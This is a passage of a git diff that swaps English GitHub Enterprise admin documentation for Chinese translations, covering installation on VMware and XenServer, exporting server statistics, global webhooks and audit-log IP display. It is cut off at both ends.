软件。' redirect_from: - /enterprise/admin/articles/getting-started-with-vmware - /enterprise/admin/articles/installing-vmware-tools @@ -17,42 +17,44 @@ topics: - Infrastructure - Set up shortTitle: Install on VMware +ms.openlocfilehash: f9e81c624f93c7478eed04b65b3ef43a69ef9291 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147859408' --- -## Prerequisites +## 先决条件 - {% data reusables.enterprise_installation.software-license %} -- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.location.product_location %}s. We support versions 5.5 through 6.7 for {% data variables.product.prodname_ghe_server %} 3.4 and earlier. ESX version 7.0 is supported for {% data variables.product.prodname_ghe_server %} 3.5 and later. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html). -- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)." +- 必须有一个 VMware vSphere ESXi 虚拟机监控程序,将其应用于将运行 {% data variables.product.product_location %}s 的裸机计算机。 我们支持适用于 {% data variables.product.prodname_ghe_server %} 3.4 及更早版本的版本 5.5 - 6.7。 {% data variables.product.prodname_ghe_server %} 3.5 及更高版本支持 ESX 版本 7.0。 ESXi Hypervisor 免费提供,不包含(可选)vCenter Server。 有关详细信息,请参阅 [VMware ESXi 文档](https://www.vmware.com/products/esxi-and-esx.html)。 +- 您将需要访问 vSphere Client。 如果您有 vCenter Server,可以使用 vSphere Web Client。 有关详细信息,请参阅 VMware 指南“[使用 vSphere Web Client 登录到 vCenter Server](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)”。 -## Hardware considerations +## 硬件注意事项 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## Downloading the {% data variables.product.prodname_ghe_server %} image +## 下载 {% data variables.product.prodname_ghe_server %} 映像 -{% data reusables.enterprise_installation.download-license %} -{% data reusables.enterprise_installation.download-appliance %} -4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **VMware ESXi/vSphere (OVA)**. -5. Click **Download for VMware ESXi/vSphere (OVA)**. +{% data reusables.enterprise_installation.download-license %} {% data reusables.enterprise_installation.download-appliance %} +4. 在“{% data variables.product.prodname_dotcom %} 本地”下,选择“选择虚拟机监控程序”下拉菜单,然后单击“VMware ESXi/vSphere (OVA)”。 +5. 单击“下载 VMware ESXi/vSphere(OVA)”。 -## Creating the {% data variables.product.prodname_ghe_server %} instance +## 创建 {% data variables.product.prodname_ghe_server %} 实例 {% data reusables.enterprise_installation.create-ghe-instance %} -1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)." - - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing. - - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM. -{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)." +1. 使用 vSphere Windows Client 或 vCenter Web Client 导入您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明,请参阅 VMware 指南“[部署 OVF 或 OVA 模板](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)”。 + - 选择数据存储时,请选择空间足以容纳 VM 磁盘的数据存储。 有关针对实例大小建议的最小硬件规格,请参阅“[硬件注意事项](#hardware-considerations)”。 建议采用支持延迟归零的密集预配。 + - 取消选中“部署后启用”复选框,因为需要在预配 VM 后为存储库数据添加一个附加的存储卷。 +{% data reusables.enterprise_installation.create-attached-storage-volume %} 有关说明,请参阅 VMware 指南“[将新硬盘添加到虚拟机](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)”。 -## Configuring the {% data variables.product.prodname_ghe_server %} instance +## 配置 {% data variables.product.prodname_ghe_server %} 实例 -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 有关详细信息,请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## Further reading +## 延伸阅读 -- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} -- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} +- [系统概述](/enterprise/admin/guides/installation/system-overview) {% ifversion ghes %} +- [关于升级到新版本](/admin/overview/about-upgrades-to-new-releases) {% endif %} diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md new file mode 100644 index 0000000000..7a38e17e5f --- /dev/null +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md @@ -0,0 +1,63 @@ +--- +title: 在 XenServer 上安装 GitHub Enterprise Server +intro: 要在 XenServer 上安装 {% data variables.product.prodname_ghe_server %},您必须先将 {% data variables.product.prodname_ghe_server %} 磁盘映像部署到 XenServer 主机。 +redirect_from: +- /enterprise/admin/guides/installation/installing-github-enterprise-on-xenserver +- /enterprise/admin/installation/installing-github-enterprise-server-on-xenserver +- /admin/installation/installing-github-enterprise-server-on-xenserver +versions: + ghes: <=3.2 +type: tutorial +topics: +- Administrator +- Enterprise +- Infrastructure +- Set up +shortTitle: Install on XenServer +ms.openlocfilehash: f4991244e74c9a61d953ecba08cc5c4985906fb6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099023" +--- +{% note %} + + 注意:XenServer 上对 {% data variables.product.prodname_ghe_server %} 的支持将在 {% data variables.product.prodname_ghe_server %} 3.3 中终止。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_server %} 3.1 发行说明](/admin/release-notes#3.1.0) + +{% endnote %} + +## 先决条件 + +- {% data reusables.enterprise_installation.software-license %} +- 您必须在将要运行 {% data variables.product.prodname_ghe_server %} 虚拟机 (VM) 的机器上安装 XenServer Hypervisor 。 我们支持版本 6.0 到 7.0。 +- 我们建议使用 XenCenter Windows Management Console 进行初始设置。 下文介绍了使用 XenCenter Windows Management Console 的说明。 有关详细信息,请参阅 Citrix 指南“[如何下载和安装 XenCenter 的新版本](https://support.citrix.com/article/CTX118531)”。 + +## 硬件注意事项 + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## 下载 {% data variables.product.prodname_ghe_server %} 映像 + +{% data reusables.enterprise_installation.download-license %} {% data reusables.enterprise_installation.download-appliance %} +4. 在“{% data variables.product.prodname_dotcom %} 本地”下,选择“选择虚拟机监控程序”下拉菜单,然后单击“XenServer (VHD)”。 +5. 要下载许可文件,请单击“下载许可”。 + +## 创建 {% data variables.product.prodname_ghe_server %} 实例 + +{% data reusables.enterprise_installation.create-ghe-instance %} + +1. 在 XenCenter 中,导入您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明,请参阅 XenCenter 指南“[导入磁盘映像](https://docs.citrix.com/en-us/xencenter/current-release/vms-importdiskimage.html)”。 + - 对于“启用操作系统修复”步骤,请选择“不使用操作系统修复”。 + - 完成后使 VM 保持关机状态。 +{% data reusables.enterprise_installation.create-attached-storage-volume %} 有关说明,请参阅 XenCenter 指南“[添加虚拟磁盘](https://docs.citrix.com/en-us/xencenter/current-release/vms-storage-addnewdisk.html)”。 + +## 配置 {% data variables.product.prodname_ghe_server %} 实例 + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 有关详细信息,请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} + +## 延伸阅读 + +- [系统概述](/enterprise/admin/guides/installation/system-overview) {% ifversion ghes %} +- [关于升级到新版本](/admin/overview/about-upgrades-to-new-releases) {% endif %} diff --git a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md index 7c27d61f40..4e01f32d9c 100644 --- a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md +++ b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md @@ -1,47 +1,52 @@ --- -title: Exporting Server Statistics +title: 导出服务器统计信息 shortTitle: Export Server Statistics -intro: 'You can use your own tools to analyze your {% data variables.product.prodname_ghe_server %} usage over time by downloading your {% data variables.product.prodname_server_statistics %} metrics in a CSV or JSON file.' +intro: '可以通过下载 CSV 或 JSON 文件形式的 {% data variables.product.prodname_server_statistics %} 指标来分析 {% data variables.product.prodname_ghe_server %} 使用情况。' versions: feature: server-statistics redirect_from: - /early-access/github/analyze-how-your-team-works-with-server-statistics/exploring-server-statistics +ms.openlocfilehash: 4e8fa1d040303ec569d11a8a41708ede10b3e76e +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147718163' --- +最多可以在 CSV 或 JSON 文件中下载过去 365 天的 {% data variables.product.prodname_server_statistics %} 数据。 此数据包括存储库、问题和拉取请求的聚合指标,可帮助你预测组织的需求、了解团队的工作方式,以及显示从 {% data variables.product.prodname_ghe_server %} 获取的值。 -You can download up to the last 365 days of {% data variables.product.prodname_server_statistics %} data in a CSV or JSON file. This data, which includes aggregate metrics on repositories, issues, and pull requests, can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. +必须先启用 {% data variables.product.prodname_server_statistics %} 才能下载此数据。 有关详细信息,请参阅“[为企业启用 {% data variables.product.prodname_server_statistics %}](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)”。 -Before you can download this data, you must enable {% data variables.product.prodname_server_statistics %}. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)." +若要预览可供下载的指标,请参阅“[关于 {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)”。 -To preview the metrics available to download, see "[About {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)." +若要下载这些指标,你必须是 {% data variables.product.prodname_ghe_cloud %} 的企业所有者或组织所有者。 + - 如果 {% data variables.product.product_location %} 连接到了 {% data variables.product.prodname_ghe_cloud %} 上的企业帐户,请参阅“[从企业帐户下载指标](#downloading-metrics-from-your-enterprise-account)”。 + - 如果 {% data variables.product.product_location %} 连接到了 {% data variables.product.prodname_ghe_cloud %} 上的组织,请参阅“[从组织下载指标](#downloading-metrics-from-your-organization)”。 -To download these metrics, you must be an enterprise owner or organization owner on {% data variables.product.prodname_ghe_cloud %}. - - If {% data variables.location.product_location %} is connected to an enterprise account on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your enterprise account](#downloading-metrics-from-your-enterprise-account)." - - If {% data variables.location.product_location %} is connected to an organization on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your organization](#downloading-metrics-from-your-organization)." +若要了解有关 {% data variables.product.prodname_github_connect %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)”。 -To learn more about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)." +## 从企业帐户下载指标 -## Downloading metrics from your enterprise account +1. 在 {% data variables.product.prodname_ghe_cloud %} 的右上角,单击你的配置文件照片,然后单击“你的企业”。 + ![包含“你的企业”选项的下拉菜单](/assets/images/help/enterprises/enterprise-admin-account-settings.png) -1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your enterprises**. - ![Drop down menu with "Your enterprises" option](/assets/images/help/enterprises/enterprise-admin-account-settings.png) +2. 在所需的企业帐户旁边,单击“设置”。 + ![企业管理员帐户旁边的“设置”按钮](/assets/images/help/enterprises/enterprise-admin-account-settings-button.png) -2. Next to your desired enterprise account, click **Settings**. - ![Settings button next to Enterprise admin account](/assets/images/help/enterprises/enterprise-admin-account-settings-button.png) - -3. On the left, click **GitHub Connect**. - ![GitHub Connect option under enterprise admin account](/assets/images//help/enterprises/enterprise-admin-github-connect.png) +3. 在左侧,单击“GitHub Connect”。 + ![企业管理员帐户下的“GitHub Connect”选项](/assets/images//help/enterprises/enterprise-admin-github-connect.png) {% data reusables.server-statistics.csv-download %} -## Downloading metrics from your organization +## 从组织下载指标 -1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your organizations**. - ![Drop down menu with "Your organizations" option](/assets/images/help/enterprises/github-enterprise-cloud-organizations.png) +1. 在 {% data variables.product.prodname_ghe_cloud %} 的右上角,单击你的配置文件照片,然后单击“你的组织”。 + ![包含“你的组织”选项的下拉菜单](/assets/images/help/enterprises/github-enterprise-cloud-organizations.png) -2. In the list of organizations, next to the organization that's connected to {% data variables.location.product_location %}, click **Settings**. - ![Settings button next to {% data variables.product.prodname_ghe_cloud %} organization](/assets/images/help/enterprises/settings-for-ghec-org.png) +2. 在组织列表中,在连接到 {% data variables.product.product_location %} 的组织旁边,单击“设置”。 + ![{% data variables.product.prodname_ghe_cloud %} 组织旁边的“设置”按钮](/assets/images/help/enterprises/settings-for-ghec-org.png) -3. On the left, click **GitHub Connect**. - ![GitHub Connect option in an organization account settings left sidebar](/assets/images/help/enterprises/github-connect-option-for-ghec-org.png) +3. 在左侧,单击“GitHub Connect”。 + ![组织帐户设置左侧栏中的“GitHub Connect”选项](/assets/images/help/enterprises/github-connect-option-for-ghec-org.png) {% data reusables.server-statistics.csv-download %} diff --git a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md index b52e938922..c628a95757 100644 --- a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md +++ b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md @@ -1,7 +1,7 @@ --- -title: Managing global webhooks +title: 管理全局 web 挂钩 shortTitle: Manage global webhooks -intro: You can configure global webhooks to notify external web servers when events occur within your enterprise. +intro: 您可以配置全局 web 挂钩,以便在企业内部发生事件时通知外部 Web 服务器。 permissions: Enterprise owners can manage global webhooks for an enterprise account. redirect_from: - /enterprise/admin/user-management/about-global-webhooks @@ -22,79 +22,72 @@ type: how_to topics: - Enterprise - Webhooks +ms.openlocfilehash: 751a6dc55b9d1aded22a8225f4bf7d058aa32b77 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099948' --- +## 关于全局 web 挂钩 -## About global webhooks +当企业内部发生事件时,您可以使用全局 web 挂钩通知外部 Web 服务器。 您可以将服务器配置为接收 web 挂钩的有效负载,然后运行监控、响应或实施企业用户和组织管理规则的应用程序或代码。 有关详细信息,请参阅“[Webhook](/developers/webhooks-and-events/webhooks)”。 -You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)." +例如,您可以将 {% data variables.product.product_location %} 配置为在有人创建、删除或修改企业内的存储库或组织时发送 web 挂钩。 您可以将服务器配置为在收到 web 挂钩后自动执行任务。 -For example, you can configure {% data variables.location.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook. - -![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png) +![全局 web 挂钩列表](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png) {% data reusables.enterprise_user_management.manage-global-webhooks-api %} -## Adding a global webhook +## 添加全局 web 挂钩 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -5. Click **Add webhook**. - ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png) -6. Type the URL where you'd like to receive payloads. - ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png) -7. Optionally, use the **Content type** drop-down menu, and click a payload format. - ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png) -8. Optionally, in the **Secret** field, type a string to use as a `secret` key. - ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png) -9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**. - ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %} +5. 单击“添加 Webhook” 。 + ![管理中心内“Webhook”页面上的“添加 Webhook”按钮](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png) +6. 输入您想要接收有效负载的 URL。 + ![用于键入有效负载 URL 的字段](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png) +7. (可选)使用“内容类型”下拉菜单,并单击一个有效负载格式。 + ![列出内容类型选项的下拉菜单](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png) +8. (可选)在“机密”字段中,键入用作 `secret` 密钥的字符串。 + ![用于键入用作密钥的字符串的字段](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png) +9. (可选)如果有效负载 URL 为 HTTPS,并且你不希望 {% data variables.product.prodname_ghe_server %} 在传递有效负载时验证 SSL 证书,请选择“禁用 SSL 验证”。 阅读 SSL 验证的信息,然后单击“我已了解我的 Webhook 可能不安全”。 + ![用于禁用 SSL 验证的复选框](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png) {% warning %} - **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification. + 警告:SSL 验证有助于确保安全传递挂钩有效负载。 我们不建议禁用 SSL 验证。 {% endwarning %} -10. Decide if you'd like this webhook to trigger for every event or for selected events. - ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png) - - For every event, select **Send me everything**. - - To choose specific events, select **Let me select individual events**. -11. If you chose to select individual events, select the events that will trigger the webhook. - {% ifversion ghec %} - ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png) - {% elsif ghes or ghae %} - ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png) - {% endif %} -12. Confirm that the **Active** checkbox is selected. - ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png) -13. Click **Add webhook**. +10. 确定您希望此 web 挂钩对每个事件还是选定事件触发。 + ![包含用于为每个事件或选定事件接收有效负载的选项的单选按钮](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png) + - 对于每个事件,请选择“向我发送所有内容”。 + - 要选择特定事件,请选择“让我选择单个事件”。 +11. 如果选择单个事件,请选择将触发 web 挂钩的事件。 + {% ifversion ghec %} ![单个全局 Webhook 事件的复选框](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png) {% elsif ghes or ghae %} ![单个全局 Webhook 事件的复选框](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png) {% endif %} +12. 确认选中了“活动”复选框。 + ![已选择的“活动”复选框](/assets/images/help/business-accounts/webhook-active.png) +13. 单击“添加 Webhook” 。 -## Editing a global webhook +## 编辑全局 web 挂钩 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -5. Next to the webhook you'd like to edit, click **Edit**. - ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png) -6. Update the webhook's settings. -7. Click **Update webhook**. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %} +5. 在想要编辑的 Webhook 旁,单击“编辑”。 + ![Webhook 旁的“编辑”按钮](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png) +6. 更新 web 挂钩的设置。 +7. 单击“更新 Webhook”。 -## Deleting a global webhook +## 删除全局 web 挂钩 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -5. Next to the webhook you'd like to delete, click **Delete**. - ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png) -6. Read the information about deleting a webhook, then click **Yes, delete webhook**. - ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %} +5. 在想要删除的 Webhook 旁,单击“删除”。 + ![Webhook 旁的“删除”按钮](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png) +6. 阅读有关删除 Webhook 的信息,然后单击“是,删除 Webhook”。 + ![包含警告信息的弹出框和用于确认删除 Webhook 的按钮](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png) -## Viewing recent deliveries and responses +## 查看最近的交付和回复 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -5. In the list of webhooks, click the webhook for which you'd like to see deliveries. - ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png) -6. Under "Recent deliveries", click a delivery to view details. - ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %} +5. 在 web 挂钩列表中,单击您想要查看其投递的 web 挂钩。 + ![包含用于查看每个 Webhook 的链接的 Webhook 列表](/assets/images/enterprise/site-admin-settings/click-global-webhook.png) +6. 在“Recent deliveries”下,单击投递以查看详细信息。 + ![包含用于查看详细信息的链接的 Webhook 最近交付列表](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png) diff --git a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md index 540bbcda05..5f09917573 100644 --- a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Displaying IP addresses in the audit log for your enterprise -intro: You can display the source IP address for events in your enterprise's audit log. +title: 在企业审核日志中显示 IP 地址 +intro: 可以在企业审核日志中显示事件的源 IP 地址。 shortTitle: IP addresses in audit log permissions: Enterprise owners can display IP addresses in the audit log for an enterprise. versions: @@ -12,41 +12,44 @@ topics: - Logging - Networking - Security +ms.openlocfilehash: 7dad3642866b637432442591d8e5714e3db6f59f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147508073' --- +## 关于在审核日志中显示 IP 地址 -## About display of IP addresses in the audit log +默认情况下,{% data variables.product.product_name %} 不会显示企业审核日志中事件的源 IP 地址。 (可选)为了确保合规性并响应威胁,可以显示与负责每个事件的参与者相关联的完整 IP 地址。 参与者通常是用户,但也可以是应用或集成。 -By default, {% data variables.product.product_name %} does not display the source IP address for events in your enterprise's audit log. Optionally, to ensure compliance and respond to threats, you can display the full IP address associated with the actor responsible for each event. Actors are typically users, but can also be apps or integrations. +你有责任履行查看或存储企业审核日志中显示的 IP 地址所随附的任何法律义务。 -You are responsible for meeting any legal obligations that accompany the viewing or storage of IP addresses displayed within your enterprise's audit log. +如果选择显示 IP 地址,则 IP 地址仅显示在企业的审核日志中。 对于企业拥有的个人组织的审核日志中的事件,不会显示 IP 地址。 有关组织审核日志的详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)”。 -If you choose to display IP addresses, the IP addresses only appear in your enterprise's audit log. IP addresses will not appear for events in the audit logs for individual organizations owned by your enterprise. For more information about organization audit logs, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)." +无论在 {% data variables.product.product_location %} 上为企业使用哪种身份验证方法,都可以在审核日志中显示 IP 地址。 有关详细信息,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)”。 -You can display IP addresses in the audit log regardless of which authentication method you use for your enterprise on {% data variables.location.product_location %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." +当任何人在 {% data variables.product.product_location %} 上创建帐户时,即表示该用户同意 {% data variables.product.company_short %} 收集与 {% data variables.product.company_short %} 服务连接相关的基本信息(包括源 IP 地址)。 有关详细信息,请参阅“[GitHub 隐私声明](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#usage-information)”。 -When anyone creates an account on {% data variables.location.product_location %}, the person agrees to {% data variables.product.company_short %}'s collection of basic information about connections to {% data variables.product.company_short %}'s services, including source IP address. For more information, see "[GitHub Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#usage-information)." +## 在审核日志中显示 IP 地址的事件 -## Events that display IP addresses in the audit log +当企业成员与企业或企业中的组织拥有的资源交互时,{% data variables.product.product_name %} 将在审核日志中显示 IP 地址。 例如,你将看到一个审核事件的 IP 地址,这些事件涉及企业中组织拥有的内部或专用存储库,或与这些存储库关联的资源,例如问题、拉取请求、操作或项目。 -{% data variables.product.product_name %} displays an IP address in the audit log when a member of the enterprise interacts with a resource owned by your enterprise or an organization in your enterprise. For example, you will see an IP address for audited events involving an internal or private repository owned by an organization in your enterprise, or resources associated with those repositories, such as an issue, pull request, action, or project. - -If members of your enterprise access {% data variables.location.product_location %} with personal accounts that they manage, because you do not use {% data variables.product.prodname_emus %}, {% data variables.product.product_name %} does not display an event or IP address in the audit log for the following actions. +如果企业成员使用他们管理的个人帐户访问 {% data variables.product.product_location %},因为你不使用 {% data variables.product.prodname_emus %},所以 {% data 